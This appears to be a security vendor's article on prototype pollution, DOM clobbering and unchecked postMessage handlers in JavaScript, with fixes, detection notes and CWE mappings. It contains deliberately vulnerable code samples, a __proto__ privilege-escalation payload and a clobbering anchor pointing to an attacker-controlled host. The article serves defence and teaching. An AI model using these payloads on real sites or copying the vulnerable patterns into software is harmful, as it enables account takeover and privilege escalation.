PROTOTYPE POLLUTION, DOM CLOBBERING, POSTMESSAGE
JavaScript has a small family of attacks that don't exist in other languages. Prototype pollution. DOM clobbering. postMessage without origin checks. AI generators reproduce all three because the unsafe pattern is shorter than the safe pattern.
The scenario referenced below runs on gapbench.vibe-eval.com — a public security benchmark we operate.
Three quirks of JavaScript
The three bugs in this article all live in JavaScript-specific corners. They don’t have obvious analogs in Python, Go, or Rust. They look fine to a code reviewer who isn’t specifically watching for them. They look fine to a static scanner unless the rules were built for these specific patterns. AI generators reproduce them because the unsafe code looks like idiomatic JavaScript.
Prototype pollution
function deepMerge(target: any, source: any) {
for (const key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] = deepMerge(target[key] || {}, source[key])
} else {
target[key] = source[key]
}
}
return target
}
deepMerge(config, JSON.parse(req.body))
That deepMerge is everywhere. It’s three lines, it works. It also lets JSON.parse('{"__proto__": {"isAdmin": true}}') write to Object.prototype, because for...in iterates inherited properties and the merge copies them onto the target’s prototype.
The result: every object in the process now sees isAdmin: true unless something downstream explicitly checks. If your auth middleware reads req.user.isAdmin, the attacker is now an admin.
Libraries with this bug get CVEs regularly — lodash, jquery, set-value, mixin-deep have all had prototype pollution issues. The libraries are patched, but the patterns the AI writes by hand reintroduce the bug regularly.
The fix is to filter __proto__, constructor, and prototype as keys, or to use Object.create(null) as the target so there’s no prototype to pollute, or to use a library that handles this (modern Lodash has, modern fast-querystring has).
Live: https://gapbench.vibe-eval.com/site/prototype-pollution/.
DOM clobbering
This one is genuinely surprising the first time you see it.
<a id="config" href="https://attacker.example/payload.json"></a>
If that HTML is on your page — because a user’s profile bio rendered without HTML stripping, or because Markdown allowed raw HTML, or because a comment field rendered through innerHTML — then JavaScript code that does window.config gets back the <a> element instead of whatever it expected. Code like:
const url = window.config?.url ?? '/api/default'
fetch(url).then(...)
Now reads url from the href attribute of the attacker’s anchor, fetches the attacker’s URL, processes the attacker’s response. The fetch wasn’t injected — the URL was clobbered.
The fix is layered. Sanitize HTML before rendering (DOMPurify, with a strict config that strips id attributes from user content). Don’t reach for globals via window.X; use proper module-scoped variables. If you must use globals, use Object.hasOwn(window, 'X') checks that distinguish DOM elements from your variables.
Live: https://gapbench.vibe-eval.com/site/dom-clobbering/. Adjacent variant: https://gapbench.vibe-eval.com/site/dom-fragment-xss/ — innerHTML = location.hash, which is the canonical “user controls content via URL fragment” XSS.
postMessage without origin
window.addEventListener('message', (event) => {
// No origin check
const { type, payload } = event.data
if (type === 'updateProfile') {
fetch('/api/me', { method: 'PATCH', body: JSON.stringify(payload), credentials: 'include' })
}
})
That handler accepts messages from any window. An attacker hosts a page that opens your site as an iframe (or popup). The attacker’s page sends a message with type: 'updateProfile' and a payload of the attacker’s choice. Your handler runs the fetch with the user’s credentials. The user’s profile is now whatever the attacker wanted.
The fix is one line: if (event.origin !== 'https://your-trusted-origin.com') return. AI-generated postMessage handlers omit this line in roughly half the cases we see. The line is also the entire defense — without it, the handler is trivially exploitable.
Live: https://gapbench.vibe-eval.com/site/postmessage-no-origin/.
A specific incident
Anonymized. The product was a feature-flag service (small one — not LaunchDarkly, more like a homegrown internal-tools build). The API let teams configure flag rules with JSON payloads. Team admins POSTed flag rules; the server merged them into the live config.
The merge function was the same deepMerge we showed above. A team admin discovered, by accident, that posting {"__proto__": {"isAdmin": true}} made every subsequent user appear to be an admin in the dashboard for the duration of the process. They reported it. The team treated it as a critical incident: the prototype pollution had been live for ~6 months, and the dashboard had occasionally shown anomalous “admin” markers on users who shouldn’t have been admin. They couldn’t trace whether this had been exploited or had only been the accidental friendly-fire from sloppy testing.
The fix was a one-line filter at the merge boundary plus a switch to lodash.merge (which is patched). Plus an audit of every other place in the codebase where deepMerge-style code lived. They found two other instances. Cleaned them up.
The lesson: prototype pollution is one of those bugs where the impact depends on what else in the runtime reads from the polluted property. If nothing reads obj.isAdmin, the pollution is invisible. If something does, the impact is total.
DOM clobbering — the surprising one
DOM clobbering is the bug most people don’t believe is real until they see it. The mental model:
- Some HTML elements with
idornameattributes get exposed as global properties onwindow. - This is legacy browser behavior, preserved for backward compatibility, and it’s not going away.
- If user-supplied HTML reaches the page (via a sanitizer that allows
id, via a Markdown renderer, via a “raw HTML allowed” CMS field), the user can shadow JavaScript globals.
The classic exploit shape:
<!-- attacker's profile bio renders as: -->
<a id="config" href="https://attacker.example/payload.json"></a>
// JS code that previously worked:
const url = window.config?.endpoint || '/api/default'
fetch(url).then(...)
// Now reads window.config = the <a> element
// .endpoint is undefined, but the optional-chain falls through
// What if the code was:
const url = window.config || '/api/default'
fetch(url).then(...)
// Now url = the <a> element, which when stringified gives... the href
// Fetches attacker URL with browser's credentials
There are dozens of variants. The general defense:
- Sanitize HTML strictly — DOMPurify with
ALLOWED_ATTRexcludingidandname. - Avoid reading from
window.Xfor application config; use proper imports. - Where you must use globals, check
Object.hasOwn(window, 'X')and verify the type.
Wrong fix vs right fix
// WRONG: deep merge with a key blocklist that misses constructor
function safeMerge(target: any, source: any) {
for (const k in source) {
if (k === '__proto__') continue // not enough
target[k] = source[k]
}
}
// Misses: constructor.prototype mutation
// WRONG: deep merge with .hasOwnProperty check
function safeMerge(target: any, source: any) {
for (const k of Object.keys(source)) {
// Object.keys skips inherited props, but doesn't filter __proto__ as a key
target[k] = source[k]
}
}
// RIGHT: filter dangerous keys explicitly + use null-prototype targets
const FORBIDDEN = new Set(['__proto__', 'constructor', 'prototype'])
function safeMerge(target: any, source: any) {
for (const k of Object.keys(source)) {
if (FORBIDDEN.has(k)) continue
if (typeof source[k] === 'object' && source[k] !== null) {
if (!target[k] || typeof target[k] !== 'object') target[k] = Object.create(null)
safeMerge(target[k], source[k])
} else {
target[k] = source[k]
}
}
}
// RIGHT: use a vetted library
import merge from 'lodash.merge'
// Modern lodash.merge filters __proto__ and constructor
Cross-stack notes
- JavaScript/TypeScript is where prototype pollution and DOM clobbering live. Other languages don’t have an equivalent prototype chain that user input can write to.
- Python has class-attribute pollution as a tangentially-related bug —
setattron user-controlled keys can mutate class state. Less common in web codebases. - Ruby has class reopening, but it requires explicit
class ClassNamesyntax that user input doesn’t trivially produce. - postMessage, by contrast, is universal — any framework that runs in a browser has the same trust issue.
How we detect
Prototype pollution: we identify endpoints that accept JSON bodies and probe with __proto__ payloads. We then re-fetch the affected user’s profile (or trigger a code path that reads from Object.prototype) and check whether the polluted property is observable. False positives are low; static scanners flag the pattern of deep-merge but can’t confirm exploitability without runtime testing.
DOM clobbering: we check whether user-supplied content can include HTML, and if so, whether id attributes survive sanitization. We then probe a synthetic clobber and observe via JavaScript whether window.config (or whatever the page expects) is now an HTML element.
postMessage: we open the page with our own parent window, post messages with various shapes, and observe whether the page acts on them. The detection requires a headless browser; runtime is the only way.
Fix summary
Prototype pollution: filter __proto__, constructor, prototype keys, or use Object.create(null), or use a vetted library.
DOM clobbering: sanitize HTML strictly (DOMPurify with id in the forbidden attributes), don’t read globals from window, prefer proper imports.
postMessage: check event.origin against an allow-list. Always.
CWE / OWASP
- CWE-1321 — Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution)
- CWE-79 — Improper Neutralization of Input During Web Page Generation (DOM clobbering, paste XSS, fragment XSS)
- CWE-345 — Insufficient Verification of Data Authenticity (postMessage without origin)
- OWASP Top 10 — A03:2021 Injection
Reproduce it yourself
- Prototype pollution: https://gapbench.vibe-eval.com/site/prototype-pollution/
- DOM clobbering: https://gapbench.vibe-eval.com/site/dom-clobbering/
- postMessage no origin: https://gapbench.vibe-eval.com/site/postmessage-no-origin/
- DOM fragment XSS: https://gapbench.vibe-eval.com/site/dom-fragment-xss/
- Clipboard paste XSS: https://gapbench.vibe-eval.com/site/clipboard-paste-xss/
Related reading
- Pattern: LLM-rendered HTML and Markdown
- Pattern: CORS = * with credentials = true
- Tool: vibe-code-scanner
COMMON QUESTIONS
TEST YOUR FRONTEND
We probe the JS-specific attack surfaces — prototype pollution, DOM clobbering, postMessage handlers.